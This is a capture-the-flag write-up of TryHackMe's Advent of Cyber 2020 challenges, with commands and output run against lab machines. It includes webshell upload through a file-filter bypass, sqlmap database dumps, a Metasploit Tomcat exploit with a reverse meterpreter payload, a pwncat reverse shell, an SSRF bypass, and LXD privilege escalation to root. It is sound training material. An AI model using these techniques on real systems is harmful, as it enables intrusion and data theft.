Description: Get started with Cyber Security in 25 Days - Learn the basics by doing a new, beginner friendly security challenge every day leading up to Christmas.
Disclaimer: there are answer without explanation because they are too easy to even require a write-up or just need to follow the instruction of the task.
$ weevely http://10.10.234.68/uploads/agent.png.php noraj[+] weevely 4.0.1[+] Target: 10.10.234.68[+] Session: /home/noraj/.weevely/sessions/10.10.234.68/agent.png_0.session[+] Browse the filesystem or execute commands starts the connection[+] to the target. Type :help for more information.weevely> iduid=48(apache) gid=48(apache) groups=48(apache)security-server:/var/www/html/uploads $ cat /var/www/flag.txt==============================================================You've reached the end of the Advent of Cyber, Day 2 -- hopefully you're enjoying yourself so far, and are learning lots!This is all from me, so I'm going to take the chance to thank the awesome @Vargnaar for his invaluable design lessons, without which the theming of the past two websites simply would not be the same.Have a flag -- you deserve it!THM{EDITED}Good luck on your mission (and maybe I'll see y'all again on Christmas Eve)! --Muiri (@MuirlandOracle)==============================================================
Given the URL "http://shibes.xyz/api.php", what would the entire wfuzz command look like to query the "breed" parameter using the wordlist "big.txt" (assume that "big.txt" is in your current directory)
$ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite -D gift -T sequels --dump...+-------------+-----+----------------------------+| kid | age | title |+-------------+-----+----------------------------+| James | 8 | shoes || John | 4 | skateboard || Robert | 17 | iphone || Michael | 5 | playstation || William | 6 | xbox || David | 6 | candy || Richard | 9 | books || Joseph | 7 | socks || Thomas | 10 | 10 McDonalds meals || Charles | 3 | toy car || Christopher | 8 | air hockey table || Daniel | 12 | lego star wars || Matthew | 15 | bike || Anthony | 3 | table tennis || Donald | 4 | fazer chocolate || Mark | 17 | wii || Paul | 9 | edited || James | 8 | finnish-english dictionary || Steven | 11 | laptop || Andrew | 16 | rasberry pie || Kenneth | 19 | TryHackMe Sub || Joshua | 12 | chair |+-------------+-----+----------------------------+
What is the flag?
Answer: thmfox{All_I_Want_for_Christmas_Is_You}
$ sqlmap -r "$(pwd)/search.txt" --tamper=space2comment --dbms sqlite -D gift -T hidden_table --dump...+-----------------------------------------+| flag |+-----------------------------------------+| thmfox{edited } |+-----------------------------------------+
Using Nmap on 10.10.237.125, what are the port numbers of the three services running? (Please provide your answer in ascending order/lowest -> highest, separated by a comma)
Answer: 80,2222,3389
Use Nmap to determine the name of the Linux distribution that is running, what is reported as the most likely distribution to be running?
Answer: Ubuntu
Use Nmap's Network Scripting Engine (NSE) to retrieve the "HTTP-TITLE" of the webserver. Based on the value returned, what do we think this website might be used for?
$ sudo nmap -sSVC 10.10.111.98 -PnHost discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 18:30 CETNmap scan report for 10.10.111.98Host is up (0.039s latency).Not shown: 997 filtered portsPORT STATE SERVICE VERSION3389/tcp open ms-wbt-server Microsoft Terminal Services| rdp-ntlm-info:| Target_Name: TBFC-WEB-01| NetBIOS_Domain_Name: TBFC-WEB-01| NetBIOS_Computer_Name: TBFC-WEB-01| DNS_Domain_Name: tbfc-web-01| DNS_Computer_Name: tbfc-web-01| Product_Version: 10.0.17763|_ System_Time: 2020-12-12T17:31:13+00:00| ssl-cert: Subject: commonName=tbfc-web-01| Not valid before: 2020-11-27T01:29:04|_Not valid after: 2021-05-29T01:29:04|_ssl-date: 2020-12-12T17:31:15+00:00; -1s from scanner time.8009/tcp open ajp13 Apache Jserv (Protocol v1.3)| ajp-methods:|_ Supported methods: GET HEAD POST OPTIONS8080/tcp open http Apache Tomcat 9.0.17|_http-favicon: Apache Tomcat|_http-title: Apache Tomcat/9.0.17Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:|_clock-skew: mean: -1s, deviation: 0s, median: -1sService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 21.22 seconds
What CVE can be used to create a Meterpreter entry onto the machine? (Format: CVE-XXXX-XXXX)
Answer: CVE-2019-0232
What are the contents of flag1.txt
Answer: thm{whacking_all_the_elves}
msf6 exploit(windows/http/tomcat_cgi_cmdlineargs) > optionsModule options (exploit/windows/http/tomcat_cgi_cmdlineargs): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 10.10.111.98 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 8080 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no Path to a custom SSL certificate (default is randomly generated) TARGETURI /cgi-bin/elfwhacker.bat yes The URI path to CGI script VHOST no HTTP server virtual hostPayload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 10.9.19.77 yes The listen address (an interface may be specified) LPORT 4444 yes The listen portExploit target: Id Name -- ---- 0 Apache Tomcat 9.0 or prior for Windowmeterpreter > shellProcess 1492 created.Channel 1 created.Microsoft Windows [Version 10.0.17763.737](c) 2018 Microsoft Corporation. All rights reserved.C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>dirdir Volume in drive C has no label. Volume Serial Number is 4277-4242 Directory of C:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin12/12/2020 17:43 <DIR> .12/12/2020 17:43 <DIR> ..19/11/2020 21:39 825 elfwhacker.bat19/11/2020 22:06 27 flag1.txt12/12/2020 17:43 73,802 ZvkPf.exe 3 File(s) 74,654 bytes 2 Dir(s) 13,493,211,136 bytes freeC:\Program Files\Apache Software Foundation\Tomcat 9.0\webapps\ROOT\WEB-INF\cgi-bin>type flag1.txt
[Day 13] Special by John Hammond - Coal for Christmas#
What old, deprecated protocol and service is running?
Answer: telnet
Launch a scan with service and version discovery:
# Nmap 7.91 scan initiated Mon Dec 14 20:13:12 2020 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.141.2Nmap scan report for 10.10.141.2Host is up (0.042s latency).Not shown: 65531 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey:| 1024 68:60:de:c2:2b:c6:16:d8:5b:88:be:e3:cc:a1:25:75 (DSA)| 2048 50:db:75:ba:11:2f:43:c9:ab:14:40:6d:7f:a1:ee:e3 (RSA)|_ 256 11:5d:55:29:8a:77:d8:08:b4:00:9b:a3:61:93:fe:e5 (ECDSA)23/tcp open telnet Linux telnetd111/tcp open rpcbind 2-4 (RPC #100000)| rpcinfo:| program version port/proto service| 100000 2,3,4 111/tcp rpcbind| 100000 2,3,4 111/udp rpcbind| 100000 3,4 111/tcp6 rpcbind| 100000 3,4 111/udp6 rpcbind| 100024 1 37931/tcp status| 100024 1 39855/udp status| 100024 1 51151/udp6 status|_ 100024 1 52235/tcp6 status37931/tcp open status 1 (RPC #100024)Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Mon Dec 14 20:13:40 2020 -- 1 IP address (1 host up) scanned in 28.67 seconds
What credential was left for you?
Answer: clauschristmas
What distribution of Linux and version number is this server running?
Based on all the information gathered. It's likely that Rudolph is in the Windy City and is staying in a hotel on Magnificent Mile. What are the street numbers of the hotel address?
Answer: 540
Use the GPS Position we found earlier on openstreetmap
Look for the nearest Hotel: Chicago Marriott Downtown Magnificent Mile
Right click on Show address*
Look at the street number
[Day 15] Scripting - There's a Python in my stocking!#
What's the output of True + True?
Answer: 2
In python True + True equals two, wich doesn't make sense because
you can add booleans or concatenate them or whetever.
$ pythonPython 3.9.0 (default, Oct 7 2020, 23:09:01)[GCC 10.2.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> True + True2
So it seems they considered that the True boolean would be truthy as well a one and False boolean would be falsy as well as zero.
So they decided to cast True as one when there is a + operation between booleans. And so 1 + 1 = 2. Which is stupid and confusing.
In ruby true + true properly raises an error:
$ irbirb(main):001:0> true + trueTraceback (most recent call last): 4: from /usr/bin/irb:23:in `<main>' 3: from /usr/bin/irb:23:in `load' 2: from /usr/lib/ruby/gems/2.7.0/gems/irb-1.2.7/exe/irb:11:in `<top (required)>' 1: from (irb):1NoMethodError (undefined method `+' for true:TrueClass)
Because the + operator was not implemented for booleans which make more sense
and is expected.
What's the database for installing other peoples libraries called?
Answer: pypi
For python it's called pypi, for ruby it is called rubygems.
What is the output of bool("False")?
Answer: true
In python any string is considered truthy so casting a string into a boolean will
always return true. And an empty string is considered falsy so will return false.
In ruby there is Net::HTTP
native both high and low level library so you don't necessarily need a third party
library but if you want more sugar there are many third party options, here a
few between the most popular ones:
list.hohoho is the only accepted domain (whitelist), so let's find a bypass for
localhost such as using https://readme.localtest.me/ service that will resolve
to 127.0.0.1.
As there is a web server running on localhost it displays us this message
Santa,
If you need to make any changes to the Naughty or Nice list, you need to login.
I know you have trouble remembering your password so here it is: edited.
[Day 20] Blue Teaming - PowershELlF to the rescue#
Search for the first hidden elf file within the Documents folder. Read the contents of this file. What does Elf 1 want?
Answer: 2 front teeth
Microsoft Windows [Version10.0.17763.737](c) 2018 Microsoft Corporation. All rights reserved.mceager@ELFSTATION1 C:\Users\mceager>powershellWindows PowerShellCopyright (C) Microsoft Corporation. All rights reserved.PS C:\Users\mceager> cd .\Documents\PS C:\Users\mceager\Documents> ls Directory: C:\Users\mceager\DocumentsMode LastWriteTime Length Name----------------------------a----11/23/202012:06 PM 22 elfone.txtPS C:\Users\mceager\Documents> ls -hidden Directory: C:\Users\mceager\DocumentsMode LastWriteTime Length Name---------------------------d--hsl 12/7/202010:28 AM My Musicd--hsl 12/7/202010:28 AM My Picturesd--hsl 12/7/202010:28 AM My Videos-a-hs-12/7/202010:29 AM 402 desktop.ini-arh--11/18/20205:05 PM 35 e1fone.txtPS C:\Users\mceager\Documents> gc e1fone.txt
Search on the desktop for a hidden folder that contains the file for Elf 2. Read the contents of this file. What is the name of that movie that Elf 2 wants?
Answer: Scrooged
PS C:\Users\mceager\Documents> cd ..\DesktopPS C:\Users\mceager\Desktop> ls -hidden Directory: C:\Users\mceager\DesktopMode LastWriteTime Length Name---------------------------d--h--12/7/202011:26 AM elf2wo-a-hs-12/7/202010:29 AM 282 desktop.iniPS C:\Users\mceager\Desktop> cd elf2woPS C:\Users\mceager\Desktop\elf2wo> ls Directory: C:\Users\mceager\Desktop\elf2woMode LastWriteTime Length Name----------------------------a----11/17/202010:26 AM 64 e70smsW10Y4k.txtPS C:\Users\mceager\Desktop\elf2wo> gc e70smsW10Y4k.txt
Search the Windows directory for a hidden folder that contains files for Elf 3. What is the name of the hidden folder? (This command will take a while)
Answer: 3lfthr3e
PS C:\Users\mceager\Desktop\elf2wo> cd C:\WindowsPS C:\Windows> cd System32PS C:\Windows\System32> ls -hidden Directory: C:\Windows\System32Mode LastWriteTime Length Name---- ------------- ------ ----d--h-- 11/23/2020 3:26 PM editedd--h-- 11/23/2020 2:26 PM GroupPolicy
How many words does the first file contain?
Answer: 9999
PS C:\Windows\System32> cd 3lfthr3ePS C:\Windows\System32\3lfthr3e> lsPS C:\Windows\System32\3lfthr3e> ls -hidden Directory: C:\Windows\System32\3lfthr3eMode LastWriteTime Length Name----------------------------arh--11/17/202010:58 AM 858871.txt-arh--11/23/20203:26 PM 120611682.txtPS C:\Windows\System32\3lfthr3e> gc 1.txt | measure -word
What 2 words are at index 551 and 6991 in the first file?
This is only half the answer. Search in the 2nd file for the phrase from the previous question to get the full answer. What does Elf 3 want? (use spaces when submitting the answer)
[Day 23] Blue Teaming - The Grinch strikes again!#
Decrypt the fake 'bitcoin address' within the ransom note. What is the plain text value?
Answer: nomorebestfestivalcompany
There a file RansomNote.txt on the desktop.
As you were calmly looking at your documents I encrypted all the workstations at Best Festival Company just now. Including yours McEager! Send me lots and lots of money to my bitcoin address (bm9tb3JlYmVzdGZlc3RpdmFsY29tcGFueQ==) and MAYBE I'll give you the key to decrypt. >:^p
At times ransomware changes the file extensions of the encrypted files. What is the file extension for each of the encrypted files?
Answer: .grinch
If you go in the documents (C:\Users\Administrator\Documents\confidential) there
is a folder containing a file with a double extension: eg .txt.edited.
What is the name of the suspicious scheduled task?
Answer: opidsfsdf
Open the Task Scheduler, find a task that is triggered at log on and which is
executing a .exe.
Inspect the properties of the scheduled task. What is the location of the executable that is run at login?
There is another scheduled task that is related to VSS. What is the ShadowCopyVolume ID?
Answer: 7a9eea15-0000-0000-0000-010000000000
The is a task named ShadowCopyVolume{id-edited}
Assign the hidden partition a letter. What is the name of the hidden folder?
Answer: confidential
In the View tab of explorer.exe enable hidden files display.
Right-click and inspect the properties for the hidden folder. Use the 'Previous Versions' tab to restore the encrypted file that is within this hidden folder to the previous version. What is the password within the file?
Answer: m33pa55w0rdIZseecure!
Do as told and read master-password.txt.
[Day 24] Special by DarkStar - The Trial Before Christmas#
Scan the machine. What ports are open?
Answer: 80, 65000
Let's launch a complete scan:
# Nmap 7.91 scan initiated Sun Jan 3 18:52:54 2021 as: nmap -sSVC -p- -v -oA nmap_scan 10.10.8.246Nmap scan report for 10.10.8.246Host is up (0.035s latency).Not shown: 65533 closed portsPORT STATE SERVICE VERSION80/tcp open http Apache httpd 2.4.29 ((Ubuntu))| http-methods:|_ Supported Methods: OPTIONS HEAD GET POST|_http-server-header: Apache/2.4.29 (Ubuntu)65000/tcp open http Apache httpd 2.4.29 ((Ubuntu))| http-cookie-flags:| /:| PHPSESSID:|_ httponly flag not set| http-methods:|_ Supported Methods: GET HEAD POST OPTIONS|_http-server-header: Apache/2.4.29 (Ubuntu)|_http-title: Light CycleRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Jan 3 18:53:45 2021 -- 1 IP address (1 host up) scanned in 51.52 seconds
What's the title of the hidden website? It's worthwhile looking recursively at all websites on the box for this step.
Answer: Light Cycle
As I launched the nmap scan with default scripts, http-title gave me the answer.
What is the name of the hidden php page?
Answer: uploads.php
Let's first try to find some folders on the 1st website:
/3/: this is the retro website we saw in several other AoC challenges
/codes/: You didn't think it would be that easy did you?...
I tried to recursively enumerate under /codes/ but a rewrtie rule was generating
many false positive (HTTP 200), all of size 50 bytes so I re-launched the scan with
-fs 50 to filter answers with this size.
The root path of the API is giving nothing with a GET or POST request.
If we try to hit the API with a GET we obtain an error message:
API responds to post requests only.
Enumerating under the API endpoint in a classical maner won't work, we have
make fuff make POST requests.
Now we know the right params but let's take a look at the filter:
/assets/js/filter.js.
constfilter=file=> {if(["image/png", "image/jpeg", "image/jpg"].indexOf(file.type) <0){returnfalse; } elseif (["png", "jpeg", "jpg"].indexOf(file.name.split(".").pop()) <0){returnfalse; }//Let's be honest -- these things are dangerous. May as well always return false ¯\_(ツ)_/¯returnfalse;}
Doing it with curl will bypass the client-side filter that always return false
are there is no JS support in curl. But there is still a server-side filter for
the extension, hopefully we can bypass that with a double extension to upload
some php code.
$ weevely generate noraj agent.phpGenerated 'agent.php' with password 'noraj' of 744 byte size.
Configure burp to intercep JS and answer, change the filter to always return true,
refresh the page, use the uploads.php form to upload the weevely agent.
This way is better than using curl as it will automatically encode the payload.
Then access the webshell:
$ weevely http://10.10.8.246:65000/grid/agent.png.php noraj[+] weevely 4.0.1[+] Target: 10.10.8.246:65000[+] Session: /home/noraj/.weevely/sessions/10.10.8.246/agent.png_0.session[+] Browse the filesystem or execute commands starts the connection[+] to the target. Type :help for more information.weevely> iduid=33(www-data) gid=33(www-data) groups=33(www-data)www-data@light-cycle:/var/www/TheGrid/public_html/grid
Now we can upgrade to a reverse shell:
Start a listener pwncat -l 9999 -vv then use the reverse shell plugin:
$ pwncat -l 9999 -vvINFO: Listening on :::9999 (family 10/IPv6, TCP)INFO: Listening on 0.0.0.0:9999 (family 2/IPv4, TCP)INFO: Client connected from 10.10.8.246:52806 (family 2/IPv4, TCP)bash: cannot set terminal process group (699): Inappropriate ioctl for devicebash: no job control in this shellwww-data@light-cycle:/var/www/TheGrid/public_html/grid$
Access the database and discover the encrypted credentials. What is the name of the database you find these in?
Answer: tron
Let's use the creds:
www-data@light-cycle:/var/www/TheGrid/includes$ mysql -u tron -pEnter password:Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 78366Server version: 5.7.32-0ubuntu0.18.04.1 (Ubuntu)Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.mysql> show databases;+--------------------+| Database |+--------------------+| information_schema || tron |+--------------------+2 rows in set (0.02 sec)mysql> use tron;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -ADatabase changed
Crack the password. What is it?
Answer: @computer@
There is only one user (flynn), the other one (noraj) is the one I created.
mysql> show tables;+----------------+| Tables_in_tron |+----------------+| users |+----------------+1 row in set (0.00 sec)mysql> select * from users;+----+----------+----------------------------------+| id | username | password |+----+----------+----------------------------------+| 1 | flynn | edc621628f6d19a13a00fd683f5e3ff7 || 2 | noraj | 556cc23863fef20fab5c456db166bc6e |+----+----------+----------------------------------+2 rows in set (0.00 sec)
Let's use the technique described in the room material.
See the images available:
flynn@light-cycle:~$ lxc image listTo start your first container, try: lxc launch ubuntu:18.04+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCH | SIZE | UPLOAD DATE |+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+| Alpine | a569b9af4e85 | no | alpine v3.12 (20201220_03:48) | x86_64 | 3.07MB | Dec 20, 2020 at 3:51am (UTC) |+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
Initialize, configure the disks, and start the container.
flynn@light-cycle:~$ lxc init Alpine noraj -c security.privileged=trueCreating norajflynn@light-cycle:~$ lxc config device add noraj popopo disk source=/ path=/mnt/root recursive=trueDevice popopo added to norajflynn@light-cycle:~$ lxc start norajflynn@light-cycle:~$ lxc exec noraj /bin/sh~ # cd /mnt/root/root/mnt/root/root # lsroot.txt/mnt/root/root # cat root.txtTHM{edited}"As Elf McEager claimed the root flag a click could be heard as a small chamber on the anterior of the NUC popped open. Inside, McEager saw a small object, roughly the size of an SD card. As a moment, he realized that was exactly what it was. Perplexed, McEager shuffled around his desk to pick up the card and slot it into his computer. Immediately this prompted a window to open with the word 'HOLO' embossed in the center of what appeared to be a network of computers. Beneath this McEager read the following: Thank you for playing! Merry Christmas and happy holidays to all!"
